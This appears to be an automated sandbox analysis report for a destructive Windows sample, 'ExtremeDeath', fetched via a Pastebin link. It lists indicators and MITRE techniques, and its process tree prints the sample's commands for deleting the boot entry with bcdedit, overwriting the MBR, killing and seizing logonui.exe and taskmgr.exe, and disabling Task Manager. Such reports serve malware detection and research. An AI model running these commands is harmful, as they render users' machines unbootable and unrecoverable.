hxxps://pastebin[.]com/gU4Zj4SD

Resubmissions

07/05/2024, 19:43

240507-yfk6qsfa24 7

07/05/2024, 19:40

07/05/2024, 19:35

07/05/2024, 19:31

07/05/2024, 19:26

07/05/2024, 19:21

07/05/2024, 19:16

07/05/2024, 19:14

Analysis

max time kernel
149s
max time network
154s
platform
windows11-21h2_x64
resource
win11-20240419-en
resource tags

arch:x64arch:x86image:win11-20240419-enlocale:en-usos:windows11-21h2-x64system
submitted
07/05/2024, 19:40

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

https://pastebin.com/gU4Zj4SD

Score

8^/10

bootkit discovery evasion exploit persistence upx

Malware Config

Signatures

Disables Task Manager via registry modification
evasion

Possible privilege escalation attempt 6 IoCs

exploit

pid	Process
3848	takeown.exe
4640	icacls.exe
4352	icacls.exe
3188	takeown.exe
3168	icacls.exe
4616	icacls.exe

Executes dropped EXE 11 IoCs

pid	Process
4668	TrashMBR.exe
3916	beeper.exe
1200	MouseError.exe
1556	MouseWarning.exe
3416	MouseAppIcon.exe
2732	PlgBlt.exe
2764	MouseError.exe
1664	MouseWarning.exe
2428	MouseAppIcon.exe
124	BitBlt.exe
3008	glitch.exe

Modifies file permissions 1 TTPs 6 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
4640	icacls.exe
4352	icacls.exe
3188	takeown.exe
3168	icacls.exe
4616	icacls.exe
3848	takeown.exe

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/1028-622-0x0000000000400000-0x000000000051D000-memory.dmp	upx
behavioral1/memory/1028-670-0x0000000000400000-0x000000000051D000-memory.dmp	upx

Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs

Web Service

T1102

flow	ioc
46	raw.githubusercontent.com
1	pastebin.com
3	pastebin.com
12	raw.githubusercontent.com

Modifies boot configuration data using bcdedit 1 IoCs

pid	Process
3916	bcdedit.exe

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PhysicalDrive0	TrashMBR.exe

Delays execution with timeout.exe 8 IoCs

evasion

pid	Process
1720	timeout.exe
1560	timeout.exe
244	timeout.exe
4680	timeout.exe
872	timeout.exe
488	timeout.exe
4140	timeout.exe
3052	timeout.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Kills process with taskkill 5 IoCs

evasion

pid	Process
4680	taskkill.exe
488	taskkill.exe
2956	taskkill.exe
2604	taskkill.exe
1100	taskkill.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-891789021-684472942-1795878712-1000\{E32C111B-8950-4512-B306-184BB8EAC7F7}	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-891789021-684472942-1795878712-1000_Classes\Local Settings	msedge.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
2144	reg.exe

NTFS ADS 1 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Downloads\ExtremeDeath.zip:Zone.Identifier	msedge.exe

Suspicious behavior: EnumeratesProcesses 16 IoCs

pid	Process
4148	msedge.exe
4148	msedge.exe
1108	msedge.exe
1108	msedge.exe
1964	identity_helper.exe
1964	identity_helper.exe
4068	msedge.exe
4068	msedge.exe
3184	msedge.exe
3184	msedge.exe
5068	msedge.exe
5068	msedge.exe
3836	msedge.exe
3836	msedge.exe
3836	msedge.exe
3836	msedge.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
2732	PlgBlt.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 15 IoCs

pid	Process
1108	msedge.exe
1108	msedge.exe
1108	msedge.exe
1108	msedge.exe
1108	msedge.exe
1108	msedge.exe
1108	msedge.exe
1108	msedge.exe
1108	msedge.exe
1108	msedge.exe
1108	msedge.exe
1108	msedge.exe
1108	msedge.exe
1108	msedge.exe
1108	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4680	taskkill.exe
Token: SeIncreaseQuotaPrivilege	1860	WMIC.exe
Token: SeSecurityPrivilege	1860	WMIC.exe
Token: SeTakeOwnershipPrivilege	1860	WMIC.exe
Token: SeLoadDriverPrivilege	1860	WMIC.exe
Token: SeSystemProfilePrivilege	1860	WMIC.exe
Token: SeSystemtimePrivilege	1860	WMIC.exe
Token: SeProfSingleProcessPrivilege	1860	WMIC.exe
Token: SeIncBasePriorityPrivilege	1860	WMIC.exe
Token: SeCreatePagefilePrivilege	1860	WMIC.exe
Token: SeBackupPrivilege	1860	WMIC.exe
Token: SeRestorePrivilege	1860	WMIC.exe
Token: SeShutdownPrivilege	1860	WMIC.exe
Token: SeDebugPrivilege	1860	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1860	WMIC.exe
Token: SeRemoteShutdownPrivilege	1860	WMIC.exe
Token: SeUndockPrivilege	1860	WMIC.exe
Token: SeManageVolumePrivilege	1860	WMIC.exe
Token: 33	1860	WMIC.exe
Token: 34	1860	WMIC.exe
Token: 35	1860	WMIC.exe
Token: 36	1860	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1860	WMIC.exe
Token: SeSecurityPrivilege	1860	WMIC.exe
Token: SeTakeOwnershipPrivilege	1860	WMIC.exe
Token: SeLoadDriverPrivilege	1860	WMIC.exe
Token: SeSystemProfilePrivilege	1860	WMIC.exe
Token: SeSystemtimePrivilege	1860	WMIC.exe
Token: SeProfSingleProcessPrivilege	1860	WMIC.exe
Token: SeIncBasePriorityPrivilege	1860	WMIC.exe
Token: SeCreatePagefilePrivilege	1860	WMIC.exe
Token: SeBackupPrivilege	1860	WMIC.exe
Token: SeRestorePrivilege	1860	WMIC.exe
Token: SeShutdownPrivilege	1860	WMIC.exe
Token: SeDebugPrivilege	1860	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1860	WMIC.exe
Token: SeRemoteShutdownPrivilege	1860	WMIC.exe
Token: SeUndockPrivilege	1860	WMIC.exe
Token: SeManageVolumePrivilege	1860	WMIC.exe
Token: 33	1860	WMIC.exe
Token: 34	1860	WMIC.exe
Token: 35	1860	WMIC.exe
Token: 36	1860	WMIC.exe
Token: SeTakeOwnershipPrivilege	3188	takeown.exe
Token: SeDebugPrivilege	488	taskkill.exe
Token: SeIncreaseQuotaPrivilege	1720	WMIC.exe
Token: SeSecurityPrivilege	1720	WMIC.exe
Token: SeTakeOwnershipPrivilege	1720	WMIC.exe
Token: SeLoadDriverPrivilege	1720	WMIC.exe
Token: SeSystemProfilePrivilege	1720	WMIC.exe
Token: SeSystemtimePrivilege	1720	WMIC.exe
Token: SeProfSingleProcessPrivilege	1720	WMIC.exe
Token: SeIncBasePriorityPrivilege	1720	WMIC.exe
Token: SeCreatePagefilePrivilege	1720	WMIC.exe
Token: SeBackupPrivilege	1720	WMIC.exe
Token: SeRestorePrivilege	1720	WMIC.exe
Token: SeShutdownPrivilege	1720	WMIC.exe
Token: SeDebugPrivilege	1720	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1720	WMIC.exe
Token: SeRemoteShutdownPrivilege	1720	WMIC.exe
Token: SeUndockPrivilege	1720	WMIC.exe
Token: SeManageVolumePrivilege	1720	WMIC.exe
Token: 33	1720	WMIC.exe
Token: 34	1720	WMIC.exe

Suspicious use of FindShellTrayWindow 33 IoCs

pid	Process
1108	msedge.exe
1108	msedge.exe
1108	msedge.exe
1108	msedge.exe
1108	msedge.exe
1108	msedge.exe
1108	msedge.exe
1108	msedge.exe
1108	msedge.exe
1108	msedge.exe
1108	msedge.exe
1108	msedge.exe
1108	msedge.exe
1108	msedge.exe
1108	msedge.exe
1108	msedge.exe
1108	msedge.exe
1108	msedge.exe
1108	msedge.exe
1108	msedge.exe
1108	msedge.exe
1108	msedge.exe
1108	msedge.exe
1108	msedge.exe
1108	msedge.exe
1108	msedge.exe
1108	msedge.exe
1108	msedge.exe
1108	msedge.exe
1108	msedge.exe
1108	msedge.exe
1108	msedge.exe
1108	msedge.exe

Suspicious use of SendNotifyMessage 12 IoCs

pid	Process
1108	msedge.exe
1108	msedge.exe
1108	msedge.exe
1108	msedge.exe
1108	msedge.exe
1108	msedge.exe
1108	msedge.exe
1108	msedge.exe
1108	msedge.exe
1108	msedge.exe
1108	msedge.exe
1108	msedge.exe

Suspicious use of SetWindowsHookEx 10 IoCs

pid	Process
1028	ExtremeDeath.exe
1200	MouseError.exe
1556	MouseWarning.exe
3416	MouseAppIcon.exe
2732	PlgBlt.exe
2764	MouseError.exe
2428	MouseAppIcon.exe
1664	MouseWarning.exe
124	BitBlt.exe
3008	glitch.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1108 wrote to memory of 2516	1108	msedge.exe	80
PID 1108 wrote to memory of 2516	1108	msedge.exe	80
PID 1108 wrote to memory of 5116	1108	msedge.exe	82
PID 1108 wrote to memory of 5116	1108	msedge.exe	82
PID 1108 wrote to memory of 5116	1108	msedge.exe	82
PID 1108 wrote to memory of 5116	1108	msedge.exe	82
PID 1108 wrote to memory of 5116	1108	msedge.exe	82
PID 1108 wrote to memory of 5116	1108	msedge.exe	82
PID 1108 wrote to memory of 5116	1108	msedge.exe	82
PID 1108 wrote to memory of 5116	1108	msedge.exe	82
PID 1108 wrote to memory of 5116	1108	msedge.exe	82
PID 1108 wrote to memory of 5116	1108	msedge.exe	82
PID 1108 wrote to memory of 5116	1108	msedge.exe	82
PID 1108 wrote to memory of 5116	1108	msedge.exe	82
PID 1108 wrote to memory of 5116	1108	msedge.exe	82
PID 1108 wrote to memory of 5116	1108	msedge.exe	82
PID 1108 wrote to memory of 5116	1108	msedge.exe	82
PID 1108 wrote to memory of 5116	1108	msedge.exe	82
PID 1108 wrote to memory of 5116	1108	msedge.exe	82
PID 1108 wrote to memory of 5116	1108	msedge.exe	82
PID 1108 wrote to memory of 5116	1108	msedge.exe	82
PID 1108 wrote to memory of 5116	1108	msedge.exe	82
PID 1108 wrote to memory of 5116	1108	msedge.exe	82
PID 1108 wrote to memory of 5116	1108	msedge.exe	82
PID 1108 wrote to memory of 5116	1108	msedge.exe	82
PID 1108 wrote to memory of 5116	1108	msedge.exe	82
PID 1108 wrote to memory of 5116	1108	msedge.exe	82
PID 1108 wrote to memory of 5116	1108	msedge.exe	82
PID 1108 wrote to memory of 5116	1108	msedge.exe	82
PID 1108 wrote to memory of 5116	1108	msedge.exe	82
PID 1108 wrote to memory of 5116	1108	msedge.exe	82
PID 1108 wrote to memory of 5116	1108	msedge.exe	82
PID 1108 wrote to memory of 5116	1108	msedge.exe	82
PID 1108 wrote to memory of 5116	1108	msedge.exe	82
PID 1108 wrote to memory of 5116	1108	msedge.exe	82
PID 1108 wrote to memory of 5116	1108	msedge.exe	82
PID 1108 wrote to memory of 5116	1108	msedge.exe	82
PID 1108 wrote to memory of 5116	1108	msedge.exe	82
PID 1108 wrote to memory of 5116	1108	msedge.exe	82
PID 1108 wrote to memory of 5116	1108	msedge.exe	82
PID 1108 wrote to memory of 5116	1108	msedge.exe	82
PID 1108 wrote to memory of 5116	1108	msedge.exe	82
PID 1108 wrote to memory of 4148	1108	msedge.exe	83
PID 1108 wrote to memory of 4148	1108	msedge.exe	83
PID 1108 wrote to memory of 2432	1108	msedge.exe	84
PID 1108 wrote to memory of 2432	1108	msedge.exe	84
PID 1108 wrote to memory of 2432	1108	msedge.exe	84
PID 1108 wrote to memory of 2432	1108	msedge.exe	84
PID 1108 wrote to memory of 2432	1108	msedge.exe	84
PID 1108 wrote to memory of 2432	1108	msedge.exe	84
PID 1108 wrote to memory of 2432	1108	msedge.exe	84
PID 1108 wrote to memory of 2432	1108	msedge.exe	84
PID 1108 wrote to memory of 2432	1108	msedge.exe	84
PID 1108 wrote to memory of 2432	1108	msedge.exe	84
PID 1108 wrote to memory of 2432	1108	msedge.exe	84
PID 1108 wrote to memory of 2432	1108	msedge.exe	84
PID 1108 wrote to memory of 2432	1108	msedge.exe	84
PID 1108 wrote to memory of 2432	1108	msedge.exe	84
PID 1108 wrote to memory of 2432	1108	msedge.exe	84
PID 1108 wrote to memory of 2432	1108	msedge.exe	84
PID 1108 wrote to memory of 2432	1108	msedge.exe	84
PID 1108 wrote to memory of 2432	1108	msedge.exe	84
PID 1108 wrote to memory of 2432	1108	msedge.exe	84
PID 1108 wrote to memory of 2432	1108	msedge.exe	84

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://pastebin.com/gU4Zj4SD
1⤵
- Enumerates system info in registry
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1108
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffc2bd63cb8,0x7ffc2bd63cc8,0x7ffc2bd63cd8
  2⤵
  PID:2516
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1884,16907499754221912508,4666261654279360533,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1908 /prefetch:2
  2⤵
  PID:5116
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1884,16907499754221912508,4666261654279360533,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2252 /prefetch:3
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4148
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1884,16907499754221912508,4666261654279360533,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2636 /prefetch:8
  2⤵
  PID:2432
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1884,16907499754221912508,4666261654279360533,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3264 /prefetch:1
  2⤵
  PID:3184
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1884,16907499754221912508,4666261654279360533,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3272 /prefetch:1
  2⤵
  PID:3452
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1884,16907499754221912508,4666261654279360533,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5060 /prefetch:1
  2⤵
  PID:1824
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1884,16907499754221912508,4666261654279360533,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5248 /prefetch:1
  2⤵
  PID:1512
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1884,16907499754221912508,4666261654279360533,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4912 /prefetch:1
  2⤵
  PID:1204
- C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1884,16907499754221912508,4666261654279360533,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5520 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1964
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1884,16907499754221912508,4666261654279360533,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4752 /prefetch:1
  2⤵
  PID:3936
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1884,16907499754221912508,4666261654279360533,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4716 /prefetch:1
  2⤵
  PID:4060
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1884,16907499754221912508,4666261654279360533,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5132 /prefetch:1
  2⤵
  PID:3448
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1884,16907499754221912508,4666261654279360533,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5612 /prefetch:1
  2⤵
  PID:1852
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1884,16907499754221912508,4666261654279360533,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3372 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4068
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --field-trial-handle=1884,16907499754221912508,4666261654279360533,131072 --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=6052 /prefetch:8
  2⤵
  PID:2388
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --field-trial-handle=1884,16907499754221912508,4666261654279360533,131072 --lang=en-US --service-sandbox-type=video_capture --mojo-platform-channel-handle=6064 /prefetch:8
  2⤵
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  PID:3184
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1884,16907499754221912508,4666261654279360533,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6216 /prefetch:1
  2⤵
  PID:4664
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1884,16907499754221912508,4666261654279360533,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6176 /prefetch:1
  2⤵
  PID:4772
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1884,16907499754221912508,4666261654279360533,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5896 /prefetch:1
  2⤵
  PID:1184
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1884,16907499754221912508,4666261654279360533,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6308 /prefetch:1
  2⤵
  PID:2236
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1884,16907499754221912508,4666261654279360533,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5784 /prefetch:1
  2⤵
  PID:1648
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1884,16907499754221912508,4666261654279360533,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5364 /prefetch:1
  2⤵
  PID:4816
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1884,16907499754221912508,4666261654279360533,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4016 /prefetch:8
  2⤵
  - NTFS ADS
  - Suspicious behavior: EnumeratesProcesses
  PID:5068
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1884,16907499754221912508,4666261654279360533,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --gpu-preferences=SAAAAAAAAADoAAAwAAAAAAAAAAAAAAAAAABgAAAQAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1232 /prefetch:2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3836

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:4416

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:2972

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:4516

C:\Users\Admin\Downloads\ExtremeDeath\ExtremeDeath.exe
"C:\Users\Admin\Downloads\ExtremeDeath\ExtremeDeath.exe"
1⤵
- Suspicious use of SetWindowsHookEx
PID:1028
- C:\Windows\system32\cmd.exe
  "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\6ADA.tmp\6ADB.tmp\6ADC.bat C:\Users\Admin\Downloads\ExtremeDeath\ExtremeDeath.exe"
  2⤵
  PID:1728
- - C:\Windows\system32\cscript.exe
    cscript prompt.vbs
    3⤵
    PID:2144
- - C:\Windows\system32\bcdedit.exe
    bcdedit /delete {current}
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3916
- - C:\Users\Admin\AppData\Local\Temp\6ADA.tmp\TrashMBR.exe
    TrashMBR.exe
    3⤵
    - Executes dropped EXE
    - Writes to the Master Boot Record (MBR)
    PID:4668
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im logonui.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4680
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic process where name='logonui.exe' delete /nointeractive
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1860
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Windows\system32\logonui.exe
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:3188
- - C:\Windows\system32\icacls.exe
    icacls C:\Windows\system32\logonui.exe /grant Admin:F
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:3168
- - C:\Windows\system32\icacls.exe
    icacls C:\Windows\system32\logonui.exe /grant "everyone":F
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:4616
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im taskmgr.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:488
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic process where name='taskmgr.exe' delete /nointeractive
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1720
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Windows\system32\taskmgr.exe
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:3848
- - C:\Windows\system32\icacls.exe
    icacls C:\Windows\system32\taskmgr.exe /grant Admin:F
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:4640
- - C:\Windows\system32\icacls.exe
    icacls C:\Windows\system32\taskmgr.exe /grant "everyone":F
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:4352
- - C:\Windows\system32\reg.exe
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
    3⤵
    - Modifies registry key
    PID:2144
- - C:\Users\Admin\AppData\Local\Temp\6ADA.tmp\beeper.exe
    beeper.exe
    3⤵
    - Executes dropped EXE
    PID:3916
- - C:\Windows\system32\timeout.exe
    timeout 1 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:244
- - C:\Users\Admin\AppData\Local\Temp\6ADA.tmp\MouseError.exe
    MouseError.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetWindowsHookEx
    PID:1200
- - C:\Windows\system32\timeout.exe
    timeout 5 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:4680
- - C:\Users\Admin\AppData\Local\Temp\6ADA.tmp\MouseWarning.exe
    MouseWarning.exe
    3⤵
    - Executes dropped EXE
